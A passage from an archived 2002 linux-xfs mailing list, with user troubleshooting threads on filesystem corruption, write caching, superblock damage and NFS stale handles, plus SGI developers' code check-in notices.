jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id IAA12650; Fri, 2 Aug 2002 08:31:06 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g72DNco30233; Fri, 2 Aug 2002 08:23:38 -0500 Subject: Re: xfs-filesystem is broken after rsync From: Steve Lord To: Seth Mos Cc: Dirk Munzinger , Eric Sandeen , linux-xfs@oss.sgi.com In-Reply-To: <4.3.2.7.2.20020802144706.03ac2e20@pop.xs4all.nl> References: <20020801125547.O1822-100000@xs1.xs4all.nl> <4.3.2.7.2.20020802144706.03ac2e20@pop.xs4all.nl> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 02 Aug 2002 08:23:38 -0500 Message-Id: <1028294618.30192.0.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 2002-08-02 at 07:48, Seth Mos wrote: > At 14:41 2-8-2002 +0200, Dirk Munzinger wrote: > >Hi Seth, > >>I just thought of something. What flags are you passing for optimization? > >>I know that compiling with i586 is sometimes faster but I believe not > >>everything works OK. Can you check this by compiling for i486? > >>The K6 cores were also faster with 486 optimizations for me then with > >>i586. > > > >I have compiled the kernel now with i486 optimization instead of K6 and - > >believe it or not - it looks fine now. If have just run some rsyncs > >without any problem. I will do some more tests over the weekend and I hope > >they will also work. > > Okidoki. It's because I worked with a few K6 chips in the past that I know > how they behave. They are not bad just peculiar. > > But that can be said from some Dell Intel hardware as well ;) > > Cheers > Thanks Seth for pursuing this one. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Aug 2 07:06:12 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72E6CRw004636 for ; Fri, 2 Aug 2002 07:06:12 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72E6BT6004635 for linux-xfs-outgoing; Fri, 2 Aug 2002 07:06:11 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from gusi.leathercollection.ph (gusi.leathercollection.ph [202.163.192.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72E65Rw004604 for ; Fri, 2 Aug 2002 07:06:06 -0700 Received: from localhost (localhost [127.0.0.1]) by localhost.leathercollection.ph (Postfix) with ESMTP id ACC33C027E5 for ; Fri, 2 Aug 2002 22:07:39 +0800 (PHT) Received: by gusi.leathercollection.ph (Postfix, from userid 1000) id A6ADFC027E0; Fri, 2 Aug 2002 22:07:31 +0800 (PHT) Date: Fri, 2 Aug 2002 22:07:31 +0800 From: Federico Sevilla III To: linux-xfs@oss.sgi.com Subject: Re: recovery failed after power off Message-ID: <20020802140731.GQ25673@leathercollection.ph> Mail-Followup-To: linux-xfs@oss.sgi.com References: <1028154195.816.10.camel@sector17.home.at> <1028167048.1122.7.camel@laptop.americas.sgi.com> <1028290768.718.16.camel@sector17.home.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1028290768.718.16.camel@sector17.home.at> User-Agent: Mutt/1.4i X-Organization: The Leather Collection, Inc. X-Organization-URL: http://www.leathercollection.ph X-Personal-URL: http://jijo.free.net.ph X-Virus-Scanned: by AMaViS snapshot-20020316 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, Aug 02, 2002 at 02:19:28PM +0200, Christian Thalinger wrote: > Yep, IDE drive with write cache. Sorry, i could guess it myself. > Without write cache recovery seems to be ok. Now i have to find out > how to disable write cache of IDE drives on a 3ware controller ;-) This can be done both via the 3ware BIOS which you can enter at bootup, or via the 3dmd web-based management system. --> Jijo -- Federico Sevilla III : Network Administrator : The Leather Collection, Inc. GnuPG Key ID : 0x93B746BE From owner-linux-xfs@oss.sgi.com Fri Aug 2 07:24:15 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72EOFRw004946 for ; Fri, 2 Aug 2002 07:24:15 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72EOFks004945 for linux-xfs-outgoing; Fri, 2 Aug 2002 07:24:15 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72EOARw004916 for ; Fri, 2 Aug 2002 07:24:11 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA80896; Fri, 2 Aug 2002 09:25:45 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id JAA46621; Fri, 2 Aug 2002 09:25:44 -0500 (CDT) Subject: Re: Red-Hat 7.3 SGI XFS bootable disk ?? From: Eric Sandeen To: Seth Mos Cc: Grant Fraser , linux-xfs@oss.sgi.com In-Reply-To: <4.3.2.7.2.20020802095706.03a4fb18@pop.xs4all.nl> References: <4.3.2.7.2.20020802095706.03a4fb18@pop.xs4all.nl> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 02 Aug 2002 09:22:03 -0500 Message-Id: <1028298123.19802.0.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 2002-08-02 at 03:03, Seth Mos wrote: > There also is a Red Hat 7.3 XFS installer disk on the site. > Eric do we have a installer iso available that has the .xdelta file included? Nope, I'm reluctant to put yet another 300M file out there, the xdelta and a readme are there, that will help save some bandwidth. :) -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Aug 2 07:36:24 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72EaORw006137 for ; Fri, 2 Aug 2002 07:36:24 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72EaOFO006136 for linux-xfs-outgoing; Fri, 2 Aug 2002 07:36:24 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtp3.vol.cz (smtp3.vol.cz [195.250.128.83]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72EaIRw006105 for ; Fri, 2 Aug 2002 07:36:19 -0700 Received: from volny.cz (libereca-147.dialup.vol.cz [212.20.113.147]) by smtp3.vol.cz (8.12.5/8.12.5) with ESMTP id g72EbuQ0097424 for ; Fri, 2 Aug 2002 16:37:56 +0200 (CEST) (envelope-from aleaz@volny.cz) Message-ID: <3C31160E.90600@volny.cz> Date: Tue, 01 Jan 2002 02:51:10 +0100 From: Ales Komarek User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: problem with XFS SB magic number Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=2.3 required=5.0 tests=DATE_IN_FUTURE version=2.20 X-Spam-Level: ** Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk To whom it may concern, well I have 2 disks on my machine - one for MS Windows - primary slave and other for Linux - primary master (3 partitions; one ext2; 2nd swap and third XFS for data) I have installed XOSL (boot manager) on Windows HDD and after that during booting pure linux XFS SB magic number error occured; I have already uninstalled XOSL, but it did not helped at all; the should be no physical errors on disk, but when I tried xfs_repair; it found secondary Super block but it was corrupted and the program ended with an I/O error; Please is there any way how to correct this? Yours sincirely Ales Komarek From owner-linux-xfs@oss.sgi.com Fri Aug 2 07:42:49 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72EgnRw006469 for ; Fri, 2 Aug 2002 07:42:49 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72EgnlX006468 for linux-xfs-outgoing; Fri, 2 Aug 2002 07:42:49 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72EgfRw006440 for ; Fri, 2 Aug 2002 07:42:42 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA83520; Fri, 2 Aug 2002 09:44:16 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id JAA90101; Fri, 2 Aug 2002 09:44:16 -0500 (CDT) Subject: Re: problem with XFS SB magic number From: Eric Sandeen To: Ales Komarek Cc: linux-xfs@oss.sgi.com In-Reply-To: <3C31160E.90600@volny.cz> References: <3C31160E.90600@volny.cz> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 02 Aug 2002 09:40:34 -0500 Message-Id: <1028299234.19802.4.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk The original problem is almost certainly that your boot manager put something on block zero of your xfs partition; this is where the xfs superblock lives, so it was corrupted. What version of xfsprogs do you have? I'll make sure the ftp site has the latest version packaged up; you should get the latest if you don't have it already. If you send the output of your xfs_repair run, that might offer some hints. -Eric On Mon, 2001-12-31 at 19:51, Ales Komarek wrote: > To whom it may concern, > well I have 2 disks on my machine - one for MS Windows - primary slave > and other for Linux - primary master (3 partitions; one ext2; 2nd swap > and third XFS for data) I have installed XOSL (boot manager) on Windows > HDD and after that during booting pure linux XFS SB magic number error > occured; I have already uninstalled XOSL, but it did not helped at all; > the should be no physical errors on disk, but when I tried xfs_repair; > it found secondary Super block but it was corrupted and the program > ended with an I/O error; > > Please is there any way how to correct this? > > Yours sincirely Ales Komarek -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Aug 2 08:16:11 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72FGBRw007397 for ; Fri, 2 Aug 2002 08:16:11 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72FGBYL007396 for linux-xfs-outgoing; Fri, 2 Aug 2002 08:16:11 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from moving-picture.com (mpc-26.sohonet.co.uk [193.203.82.251]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72FG2Rw007364 for ; Fri, 2 Aug 2002 08:16:03 -0700 Received: from offline.mpc.local ([172.16.20.7] helo=moving-picture.com) by moving-picture.com with esmtp (Exim 3.22 #1) id 17aeBM-0007os-00 for linux-xfs@oss.sgi.com; Fri, 02 Aug 2002 16:17:36 +0100 Message-ID: <3D4AA290.9B2E6D6D@moving-picture.com> Date: Fri, 02 Aug 2002 16:17:36 +0100 From: James Pearson Organization: Moving Picture Company X-Mailer: Mozilla 4.7 [en] (X11; I; IRIX 6.5 IP22) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: XFS and stale NFS file handles? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk A couple of my users have recently reported problems with stale NFS file handles - unfortunately the problem seems to be 'transient', in that when I try and investigate the 'problem' - it's gone away ... The work flow is basically a number of NFS clients render images to an NFS server (which may a users' workstation) i.e. many clients writing different files to an NFS mounted directory. Very occasionally one or more render will fail and log an 'stale NFS file handle'. However re-rendering the frame (which may or may not be from the same client) usual works OK. One user did have a problem whereby writing over a given number of files to a directory failed with stale NFS file handle i.e. re-renders failed. This problem was 'fixed' by removing the directory and its contents, creating a new directory (on the same server) and rendering again. All the servers/clients are running a mixture of XFS v1.1 (2.4.18 kernel) and v1.0.2 (2.4.7 kernel) - the problem appears to be independent of client/server combinations. Again, I don't know if this is an NFS or XFS problem - it's very rare and I can't find anything out of the ordinary in various logs on the clients or servers. I know there are/have been NFS/XFS issues - could these show up as transient stale NFS file handles? Thanks James Pearson From owner-linux-xfs@oss.sgi.com Fri Aug 2 08:49:24 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72FnORw007812 for ; Fri, 2 Aug 2002 08:49:24 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72FnO1E007811 for linux-xfs-outgoing; Fri, 2 Aug 2002 08:49:24 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72FnIRw007780 for ; Fri, 2 Aug 2002 08:49:19 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA85413 for ; Fri, 2 Aug 2002 10:50:53 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA12975 for ; Fri, 2 Aug 2002 10:50:53 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g72FhOf31341; Fri, 2 Aug 2002 10:43:24 -0500 Message-Id: <200208021543.g72FhOf31341@jen.americas.sgi.com> Date: Fri, 2 Aug 2002 10:43:24 -0500 Subject: TAKE - pagebuf rationalization To: linux-xfs@oss.sgi.com X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk More from Christoph Date: Fri Aug 2 08:50:20 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124205a linux/fs/xfs/pagebuf/page_buf_locking.c - 1.23 linux/fs/xfs/pagebuf/page_buf.c - 1.47 linux/fs/xfs/pagebuf/page_buf.h - 1.32 linux/fs/xfs/pagebuf/page_buf_internal.h - 1.13 From owner-linux-xfs@oss.sgi.com Fri Aug 2 09:41:22 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72GfLRw008533 for ; Fri, 2 Aug 2002 09:41:21 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72GfLI0008532 for linux-xfs-outgoing; Fri, 2 Aug 2002 09:41:21 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72GfFRw008504 for ; Fri, 2 Aug 2002 09:41:16 -0700 Received: from thistle-e185.americas.sgi.com (thistle-e185.americas.sgi.com [128.162.185.204]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA86107 for ; Fri, 2 Aug 2002 11:42:51 -0500 (CDT) Received: from clink.americas.sgi.com (clink-eth.americas.sgi.com [128.162.2.8]) by thistle-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA83185 for ; Fri, 2 Aug 2002 11:42:50 -0500 (CDT) Received: (from roehrich@localhost) by clink.americas.sgi.com (SGI-8.9.3/8.9.3/erikj-IRIX-news) id LAA37403 for linux-xfs@oss.sgi.com; Fri, 2 Aug 2002 11:42:50 -0500 (CDT) Date: Fri, 2 Aug 2002 11:42:50 -0500 (CDT) From: Dean Roehrich Message-Id: <200208021642.LAA37403@clink.americas.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - dmapi path_to_handle was crashing on non-xfs filesystem X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Fri Aug 2 09:42:51 PDT 2002 Workarea: clink-eth.americas.sgi.com:/data/clink/a67/roehrich/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124210a linux/fs/xfs/dmapi/dmapi_register.c - 1.15 - fix test for non-xfs inode From owner-linux-xfs@oss.sgi.com Fri Aug 2 10:04:55 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72H4tRw008895 for ; Fri, 2 Aug 2002 10:04:55 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72H4tVN008894 for linux-xfs-outgoing; Fri, 2 Aug 2002 10:04:55 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72H4oRw008864 for ; Fri, 2 Aug 2002 10:04:50 -0700 Received: from thistle-e185.americas.sgi.com (thistle-e185.americas.sgi.com [128.162.185.204]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA54232 for ; Fri, 2 Aug 2002 12:06:25 -0500 (CDT) Received: from clink.americas.sgi.com (clink-eth.americas.sgi.com [128.162.2.8]) by thistle-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id MAA80797 for ; Fri, 2 Aug 2002 12:06:25 -0500 (CDT) Received: (from roehrich@localhost) by clink.americas.sgi.com (SGI-8.9.3/8.9.3/erikj-IRIX-news) id MAA63780 for linux-xfs@oss.sgi.com; Fri, 2 Aug 2002 12:06:25 -0500 (CDT) Date: Fri, 2 Aug 2002 12:06:25 -0500 (CDT) From: Dean Roehrich Message-Id: <200208021706.MAA63780@clink.americas.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - use CONFIG_XFS_DEBUG in dmapi/Makefile X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Fri Aug 2 10:06:27 PDT 2002 Workarea: clink-eth.americas.sgi.com:/data/clink/a67/roehrich/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124212a linux/fs/xfs/dmapi/Makefile - 1.18 - use CONFIG_XFS_DEBUG From owner-linux-xfs@oss.sgi.com Fri Aug 2 12:41:12 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72JfCRw013364 for ; Fri, 2 Aug 2002 12:41:12 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72JfCIt013363 for linux-xfs-outgoing; Fri, 2 Aug 2002 12:41:12 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72Jf5Rw013335 for ; Fri, 2 Aug 2002 12:41:05 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA87133 for ; Fri, 2 Aug 2002 14:42:40 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA85370 for ; Fri, 2 Aug 2002 14:42:40 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g72Jcuq08306; Fri, 2 Aug 2002 14:38:56 -0500 Message-Id: <200208021938.g72Jcuq08306@stout.americas.sgi.com> Date: Fri, 2 Aug 2002 14:38:56 -0500 Subject: TAKE - Fix up return values out of xfs_write X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk XFS generally lives with positive error values, and does not overload returns to hold errors + bytes written. Linux in general uses - errors to overload returns. xfs_write was returning positive values for errors -and- for bytes written, which made it hard to distinguish EINVAL from 22 bytes written, for example. :( Usually the switch-over is made in the "linvfs" functions, but in this case it's going in xfs_write; xfs_read is already like this. This fixes at least 1 bug of not failing correctly when attempting unaligned direct IO writes. Date: Fri Aug 2 12:39:17 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124225a linux/fs/xfs/xfs_dmapi.c - 1.75 - Use ssize_t variable for return of xfs_read/write, not int linux/fs/xfs/linux/xfs_lrw.c - 1.163 - Make xfs_write return (-) errors and (+) bytes written. Fix comment on xfs_read about about return val (same as xfs_write). From owner-linux-xfs@oss.sgi.com Fri Aug 2 13:02:58 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72K2wRw013731 for ; Fri, 2 Aug 2002 13:02:58 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72K2wIP013730 for linux-xfs-outgoing; Fri, 2 Aug 2002 13:02:58 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72K1hRw013701 for ; Fri, 2 Aug 2002 13:01:43 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA86444 for ; Fri, 2 Aug 2002 15:03:19 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA10465 for ; Fri, 2 Aug 2002 15:03:19 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g72K3GF07980; Fri, 2 Aug 2002 15:03:16 -0500 Message-Id: <200208022003.g72K3GF07980@jen.americas.sgi.com> Date: Fri, 2 Aug 2002 15:03:16 -0500 Subject: TAKE - merge up to 2.5.30 To: linux-xfs@oss.sgi.com X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk O_DIRECT is working fully again now, but, the loop device and xfs do not want to talk to each other, and kdb on a serial line responds to the wrong keyboard. A few tweaks to come for cleaning up these and other things. Date: Fri Aug 2 12:57:07 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.5 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:124227a linux/fs/jffs2/LICENCE - 1.1 linux/Documentation/vm/overcommit-accounting - 1.1 linux/drivers/bluetooth/bt3c_cs.c - 1.1 linux/net/sunrpc/xprt.c - 1.30 linux/net/sunrpc/clnt.c - 1.20 linux/net/netsyms.c - 1.49 linux/net/netlink/netlink_dev.c - 1.16 linux/net/netlink/Makefile - 1.6 linux/net/ipx/Makefile - 1.6 linux/net/ipv4/ipconfig.c - 1.31 linux/net/ipv4/Makefile - 1.11 linux/net/core/Makefile - 1.10 linux/net/Makefile - 1.23 linux/net/Config.in - 1.25 linux/net/802/Makefile - 1.8 linux/mm/vmscan.c - 1.106 linux/mm/swapfile.c - 1.63 linux/mm/swap_state.c - 1.44 linux/mm/swap.c - 1.22 linux/mm/slab.c - 1.38 linux/mm/page_io.c - 1.29 linux/mm/page_alloc.c - 1.85 linux/mm/mremap.c - 1.32 linux/mm/mprotect.c - 1.31 linux/mm/mmap.c - 1.57 linux/mm/memory.c - 1.87 linux/mm/filemap.c - 1.128 linux/kernel/sysctl.c - 1.55 linux/kernel/sys.c - 1.37 linux/kernel/softirq.c - 1.26 linux/kernel/sched.c - 1.77 linux/kernel/module.c - 1.28 linux/kernel/ksyms.c - 1.154 linux/kernel/kmod.c - 1.23 linux/kernel/fork.c - 1.64 linux/ipc/shm.c - 1.56 linux/init/main.c - 1.86 linux/include/linux/timer.h - 1.15 linux/include/linux/sysctl.h - 1.54 linux/include/linux/swapctl.h - 1.4 linux/include/linux/swap.h - 1.61 linux/include/linux/smp.h - 1.18 linux/include/linux/slab.h - 1.24 linux/include/linux/signal.h - 1.8 linux/include/linux/sched.h - 1.78 linux/include/linux/pci.h - 1.61 linux/include/linux/nfs_fs_sb.h - 1.8 linux/include/linux/nfs_fs.h - 1.25 linux/include/linux/mman.h - 1.4 linux/include/linux/mm.h - 1.93 linux/include/linux/list.h - 1.16 linux/include/linux/hdreg.h - 1.25 linux/include/linux/genhd.h - 1.22 linux/include/linux/fs.h - 1.185 linux/include/asm-sparc64/unistd.h - 1.22 linux/include/asm-sparc64/socket.h - 1.7 linux/include/asm-sparc64/processor.h - 1.25 linux/include/asm-sparc/unistd.h - 1.20 linux/include/asm-sparc/socket.h - 1.7 linux/include/asm-sparc/processor.h - 1.18 linux/include/asm-ppc/unistd.h - 1.22 linux/include/asm-ppc/system.h - 1.24 linux/include/asm-ppc/softirq.h - 1.16 linux/include/asm-ppc/socket.h - 1.8 linux/include/asm-ppc/smplock.h - 1.10 linux/include/asm-ppc/processor.h - 1.33 linux/include/asm-ppc/pgtable.h - 1.37 linux/include/asm-ppc/hardirq.h - 1.19 linux/include/asm-mips/unistd.h - 1.13 linux/include/asm-mips/socket.h - 1.10 linux/include/asm-mips/processor.h - 1.19 linux/include/asm-m68k/unistd.h - 1.15 linux/include/asm-m68k/socket.h - 1.7 linux/include/asm-m68k/processor.h - 1.16 linux/include/asm-i386/unistd.h - 1.25 linux/include/asm-i386/spinlock.h - 1.26 linux/include/asm-i386/socket.h - 1.7 linux/include/asm-i386/smp.h - 1.20 linux/include/asm-i386/processor.h - 1.42 linux/include/asm-i386/desc.h - 1.12 linux/include/asm-arm/unistd.h - 1.22 linux/include/asm-arm/system.h - 1.22 linux/include/asm-arm/softirq.h - 1.10 linux/include/asm-arm/socket.h - 1.7 linux/include/asm-arm/processor.h - 1.23 linux/include/asm-arm/proc-armv/system.h - 1.16 linux/include/asm-arm/io.h - 1.22 linux/include/asm-arm/hardirq.h - 1.12 linux/include/asm-arm/atomic.h - 1.13 linux/include/asm-arm/arch-rpc/keyboard.h - 1.5 linux/include/asm-arm/arch-ebsa285/keyboard.h - 1.7 linux/include/asm-alpha/unistd.h - 1.21 linux/include/asm-alpha/socket.h - 1.7 linux/include/asm-alpha/processor.h - 1.16 linux/fs/ufs/super.c - 1.33 linux/fs/ufs/file.c - 1.13 linux/fs/sysv/file.c - 1.15 linux/fs/smbfs/file.c - 1.31 linux/fs/read_write.c - 1.23 linux/fs/qnx4/file.c - 1.11 linux/fs/nfs/write.c - 1.42 linux/fs/nfs/nfs3xdr.c - 1.12 linux/fs/nfs/nfs2xdr.c - 1.15 linux/fs/nfs/inode.c - 1.50 linux/fs/nfs/dir.c - 1.43 linux/fs/ncpfs/inode.c - 1.35 linux/fs/ncpfs/file.c - 1.22 linux/fs/ncpfs/dir.c - 1.32 linux/fs/minix/file.c - 1.17 linux/fs/locks.c - 1.29 linux/fs/ext2/inode.c - 1.51 linux/fs/ext2/file.c - 1.20 linux/fs/exec.c - 1.59 linux/fs/devices.c - 1.20 linux/fs/coda/sysctl.c - 1.17 linux/fs/coda/psdev.c - 1.23 linux/fs/buffer.c - 1.129 linux/fs/block_dev.c - 1.53 linux/fs/binfmt_elf.c - 1.44 linux/fs/affs/file.c - 1.29 linux/fs/adfs/file.c - 1.15 linux/fs/Makefile - 1.66 linux/fs/Config.in - 1.96 